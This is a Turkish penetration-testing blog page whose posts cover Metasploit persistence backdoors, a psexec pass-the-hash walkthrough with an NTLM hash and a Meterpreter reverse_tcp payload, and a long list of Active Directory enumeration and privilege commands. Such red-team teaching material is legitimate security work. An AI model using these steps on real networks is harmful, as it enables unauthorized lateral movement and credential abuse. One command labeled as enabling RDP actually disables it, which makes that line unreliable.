session etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
session etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

1 Eylül 2014 Pazartesi

Post Exploitation: MSF Persistence Post Modülü

Post Exploitation: MSF Persistence Post Modülü

Bir sisteme girildikten bir süre sonra bilgisayar ile bağlantı kesilebilmektedir. Bu durumda o bilgisayarı tekrar exploit etmek gerekebilir. Bunun yerine bilgisayar arka kapı da bırakılabilir. Bu yazıda, Metasploit Framework içerisindeki Persistence modülü kullanılarak arka kapı bırakılması incelenecektir.

Yazının devamı için:
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-permanent-meterpreter-session-on-windows-by-using-meterpreter-persistence-script/

3 Ekim 2013 Perşembe

İpucu: psexec Modülü ile Yeni Makinelerde Oturumun Açması

psexec  Modülü ile Yeni Makinelerde Oturumun Açması

Amaç
Organizasyondaki - yerel kullanıcısı ve şifresi / şifre özeti bilinen - diğer makinelerde oturum açılacaktır.

Yöntem
Bir önceki yazıda smb_login modülü ile girilebilecek bilgisayarlar tespit edilmişti. Bu adımda ise psexec modülü ile giriş denemesi yapılacaktır.
psexec modülü incelenir:
search psexec
use exploit/windows/smb/psexec
show options
psexec modülünün incelenmesi

Seçilen modül hakkında ayrıntılı bilgi elde edinilebilir:
info exploit/windows/smb/psexec
psexec modülü hakkında ayrıntılı bilginin listelenmesi

Seçenekler uygun şekilde ayarlanır:
set RHOST 192.168.172.243
set SMBPass aad3b435b51404eeaad3b435b51404ee:da8aef7a322d9ecf8d1d7e220f837176
set SMBUser administrator
set PAYLOAD windows/meterpreter/reverse_tcp
show options
psexec modülünün düzenlenmesi

Not: Domainde ilk olarak girdiğimiz bilgisayarda, "net share" komutu çalıştırıldığında “ADMIN$” paylaşımının açık olduğunu gördüğümüz için, SHARE seçeneğini aynen bırakabiliriz.

Modülü çalıştırmak için ve elde edilen bağlantıları listelemek için aşağıdaki komutlar kullanılır :
exploit
sessions -l
psexec modülü ile exploit işleminin gerçekleştirilmesi

Not: PsExec bir çok AV tarafından tespit edilebilmektedir. Bu sebeple, bağlantıda belirtildiği gibi WCE aracı kullanılarak da hedef sistemin dosya sistemine erişilebilir, bağlantıdaki gibi WCE & MS psexec aracı kullanılarak Windows ve Meterpreter komut satırları elde edilebilir, bağlantıdaki gibi MSF psexec_command modülü kullanılarak Meterpreter komut satırı elde edilebilir, bağlantıdaki gibi Kali pth-winexe aracı kullanılarak Windows ve Meterpreter komut satırları elde edilebilir.

Not: MSF PsExec modülü çalıştırıldığında gerçekleşebilecek hatalar için bakınız.

Önlem
  • Önceki adımlarda belirtilen önlemler alınmalıdır.


8 Ekim 2012 Pazartesi

Pentest Senaryoları

Senaryolar

Deneme Ortamı: Free Metasploit Penetration Testing Lab In The Cloud
Kaynak site:
https://community.rapid7.com/community/metasploit/blog/2013/01/08/free-metasploit-penetration-testing-lab-in-the-cloud

Create Exploit Using Msfvenom to Hack Windows 7 SP1
Kaynak site:
http://vishnuvalentino.com/hacking-tutorial/create-exploit-using-msfvenom-to-hack-windows-7-sp1/

5 Ways to Find Systems Running Domain Admin Processes
Kaynak site:
http://www.netspi.com/blog/2012/07/09/5-ways-to-find-systems-running-domain-admin-processes/

Dumping Clear Text Passwords
Kaynak site:
http://e-spohn.com/blog/2012/07/06/dumping-clear-text-passwords/

Yapışkan Tuşlar ile Komut Satırına Geçme
Kaynak site:
http://ertugrulbasaranoglu.blogspot.com/2012/10/ipucu-kapal-oturumda-yapskan-tuslar-ile.html

Bypass Windows Logons with the Utilman.exe Trick
Kaynak site:
http://www.technibble.com/bypass-windows-logons-utilman/
http://www.youtube.com/watch?feature=endscreen&v=di3BIqq40bE&NR=1

Winlockpwn: More then a Partytrick
Kaynak site:
http://www.spylogic.net/2008/05/winlockpwn-more-then-a-partytrick/
http://www.youtube.com/watch?v=jbOioD8LU5Y

Inception
Kaynak site:
http://www.breaknenter.org/projects/inception/

BeeF + Social-Engineering + Metasploit
Kaynak site:
https://www.youtube.com/watch?feature=player_embedded&v=EPJWsElU0fs

Owning Windows Networks with Responder 1.7
Kaynak site:
http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html

Finding Admin Access
Kaynak site:
http://www.room362.com/blog/2012/10/30/finding-admin-access.html

Hack netNTLM Credential using Microsoft Word UNC Path Injector
Kaynak site:
http://www.hackingarticles.in/hack-netntlm-credential-using-microsoft-word-unc-path-injector/

Metasploit ile Oracle Veritabanlarına Yönelik Temel Sızma Testleri
Kaynak site:
http://www.agguvenligi.net/2013/07/metasploit-ile-oracle-pentest.html

1 Ekim 2012 Pazartesi

Domainden Elde Edilebilecek Bazı Önemli Bilgiler

Domain Bilgileri

Bağlı Olunan Domain Controller
echo %LOGONSERVER%
systeminfo | findstr "Domain:"

Active Directory Üzerindeki Konum
gpresult /V | findstr CN=

Domaindeki Kullanıcılar
net user /domain

Domaindeki Gruplar
net groups /domain

Domain Yöneticileri
net group "Domain Admins" /domain

Domaindeki Makineler
net group "Domain Computers" /domain

Domain Controller Makineler
net group "Domain Controllers" /domain

Oturumunda Olunan Kullanıcının Adı
whoami
echo %computername%\%username%

Kullanıcıya Ait Tüm Bilgiler
whoami /all

Kullanıcıyı Yerel Yöneticiler Grubuna Eklemek
net localgroup Administrators ertugrul.basaranoglu /add

Domaindeki hesap politikası 
net accounts

Uzaktaki Bilgisayarın Sistemi
psinfo \\172.16.4.230 -h -s -d

Uzaktaki Bilgisayarın Komut Satırına Geçmek
psexec \\172.16.4.230 -u FENER\alex -p 1907?Fenerbahce cmd.exe -i 0

Uzaktaki Bilgisayarda çalışan prosesler
tasklist /V /S 172.16.72.129 /U FENER\alex /P 1907?Fenerbahce

Makinede Açık Olan Tüm Oturumlar
query session
qwinsta

Grup İlkesinin Güncellenmesi
gpupdate /force

Grup İlkesi
gpresult /z

Domain Yöneticilerinin Domaindeki İlke Bilgileri
for /f "delims=" %X in (DomainAdminsGrubuUyeleri_Listesi.txt) do net user %X /domain >> DomainAdminsGrubuUyelerininİlkeBilgileri.txt
Not: Tek bir kullanıcının domain ilke bilgisini elde etmek için aşağıdaki komut kullanılabilir:
          net user ertugrul.basaranoglu /domain
Not: Oturumu açılan bir kullanıcının domain ilke bilgisini elde etmek için aşağıdaki komut kullanılabilir:
          whoami /all
Not: Girdi olarak verilen liste (DomainAdminsGrubuUyeleri_Listesi.txt), Domain Yöneticilerini bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.

Domain Yöneticilerinin Domaindeki Tüm Bilgileri
for /f "delims=" %X in (DomainUsersGrubundakiKullanicilar_Listesi.txt) do gpresult /USER %X /V >> DomainAdminsGrubuUyelerininDomaindekiTumBilgileri.txt
Not: Tek bir kullanıcının domaindeki tüm bilgilerini elde etmek için aşağıdaki komut kullanılabilir:
          gpresult /USER ertugrul.basaranoglu /Z
Not: Girdi olarak verilen liste (DomainAdminsGrubuUyeleri_Listesi.txt), Domain Yöneticilerini bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.

Kullanıcıların Açık Olan Oturumları
for /f "delims=" %X in (DomainUsersGrubundakiKullanicilar_Listesi.txt) do PsLoggedon -l %X >> KullanicilarinAcikOlanOturumlari.txt
Not: Tek bir kullanıcının açık olan oturumunu elde etmek için aşağıdaki komut kullanılabilir:
          PsLoggedon -l ertugrul.basaranoglu
Not: Girdi olarak verilen liste (DomainUsersGrubundakiKullanicilar_Listesi.txt), Domain Kullanıcılarını bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.
Not: Domain Controller makinesinde Security Event'lerdeki kayıtlardan tek bir kullanıcının açık olan oturumunu elde etmek için aşağıdaki power shell komutu kullanılabilir:
          Get-EventLog security 4624 -newest 10000 | Where-Object{$_.Message -like '*ertugrul.basaranoglu*'}| format-list Message

Bilgisayarlarda Oturumu Açık Olan Kullanıcılar
for /f "delims=" %X in (DomainComputersGrubundakiBilgisayarlar_Listesi.txt) do PsLoggedon -l \\%X >> BilgisayarlardaOturumuAcikKalanKullanicilar.txt
Not: Tek bir bilgisayarda açık olan kullanıcı oturumlarını elde etmek için aşağıdaki komut kullanılabilir:
          PsLoggedon -l \\TestBilgisayari
          logonsessions.exe /p
          Get-WmiObject -Class Win32_NetworkLoginProfile | Sort-Object -Property LastLogon -Descending | Select-Object -Property * -First 1 | Where-Object {$_.LastLogon -match "(\d{14})"} | Foreach-Object { New-Object PSObject -Property @{ Name=$_.Name;LastLogon=[datetime]::ParseExact($matches[0], "yyyyMMddHHmmss", $null)}}
Not: Girdi olarak verilen liste (DomainComputersGrubundakiBilgisayarlar_Listesi.txt), Domain Bilgisayarlarını bulurken elde edilen kayıtların tek tek alt alta yazdırılmasıyla oluşmuştur.

Uzak Masaüstü Protokolünü Etkinleştirme
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

Audit İlkesi
auditpol /get /category:*

Group İlkesi Arayüzü
rsop.msc

Disable Durumdaki Tüm Kullanıcılar
dsquery user "dc=fener,dc=tubitak,dc=gov,dc=tr" -disabled -limit 0 | dsget user -samid > disableduser.txt

Parolası Sona Ermeyecek Olan Tüm Kullanıcılar
Get-ADUser -Filter 'PasswordNeverExpires -eq $true' -Server localDC | select name

Domaindeki Kullanıcının Ofis, Görev vs Bilgileri
dsquery user -samid FENER\alex | dsget user -office -desc -display > AlexBilgileri.txt

NonExpired Durumdaki Tüm Kullanıcılar
dsquery * domainroot -limit 800 -filter "(&(objectClass=user) (userAccountControl>=65536))" -attr sAMAccountName userPrincipalName userAccountControl -d fener.tubitak.gov.tr
dsquery * domainroot -filter “(&(objectcategory=person)(objectclass=user)(lockoutTime=*))” -limit 0

Kullanıcıya ait oturumdaki ilk biletlerin saklandığı yerlerin kaydı
reg query "\\192.168.170.62\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

Domaindeki gruplar ve üyeleri
dsquery group -limit 0 | dsget group -members –expand

Domaindeki Windows 2008 Sunucularının Listesi
Get-ADComputer -Filter {OperatingSystem -Like "Windows Server*2008*"} -Property * | Format-Table Name,OperatingSystem,OperatingSystemServicePack -Wrap -Auto

Domaindeki kullanıcıları oturum açma vakitlerine göre listeleme
Get-ADUser -Filter * -Properties "LastLogonDate" | sort-object -property lastlogondate -descending | Format-Table -property name, lastlogondate -AutoSize

90 gündür oturum açmamış olan kullanıcıları listeleme
Search-ADAccount -UsersOnly -AccountInactive -TimeSpan 90 | ?{$_.enabled -eq $True} | where {$ _.ObjectClass -eq 'user'} | Get-ADUser -Properties EmailAddress, DisplayName, Name, sn, lastlogondate, passwordlastset | Select EmailAddress, Name, lastlogondate, passwordlastset

Kullanıcısı olmayan grupların listelenmesi
Get-ADGroup -Filter {GroupCategory -eq 'Security'} | ?{@(Get-ADGroupMember $_).Length -eq 0}

6 aydır hesabı aktif olmayan kullanıcıları listeleme
$sixMonths = (Get-Date).AddMonths(-6)
Search-ADAccount -accountinactive -usersonly -datetime "$sixMonths"

4 haftadır aktif olmayan kullanıcıları disable etme
dsquery user "dc=pearson,dc=itcertification,dc=com" -inactive 4 | dsmod user -disabled yes

60 gündür parolasını değiştirmeyen kullanıcılar
dsquery user "dc=pearson,dc=itcertification,dc=com" -stalepwd 60 > stale.txt

Parolası sona ermeyen kullanıcılar
Get-ADUser -Filter 'PasswordNeverExpires -eq $true' -Server localDC | select name
Search-ADAccount -PasswordNeverExpires | FT Name,ObjectClass -A
Get-ADUser -filter {(Description -notlike "Service*") -and (Enabled -eq "True") -and (PasswordNeverExpires -eq "True")} -properties *) | select samaccountname,description

Domain Kullanıcıların mail adresleri
dsquery user -name "user name"|dsget user -samid -email -display
get-mailbox | fl name, emailaddresses
Get-QADUser -SizeLimit 0 -Enabled -Email * | Select-Object DisplayName,Email


İlişkili Sayfalar
http://technet.microsoft.com/en-us/library/cc722416(v=ws.10).aspx
http://www.robvanderwoude.com/ntadmincommands.php
http://ckerekes.com/dsquery.shtml
http://ss64.com/nt/dsquery-user.html
http://www.netspi.com/blog/2012/07/09/5-ways-to-find-systems-running-domain-admin-processes/
http://social.technet.microsoft.com/Forums/en-US/winserverpowershell/thread/eaff2f69-d17b-4235-9f8a-9f42840cac56/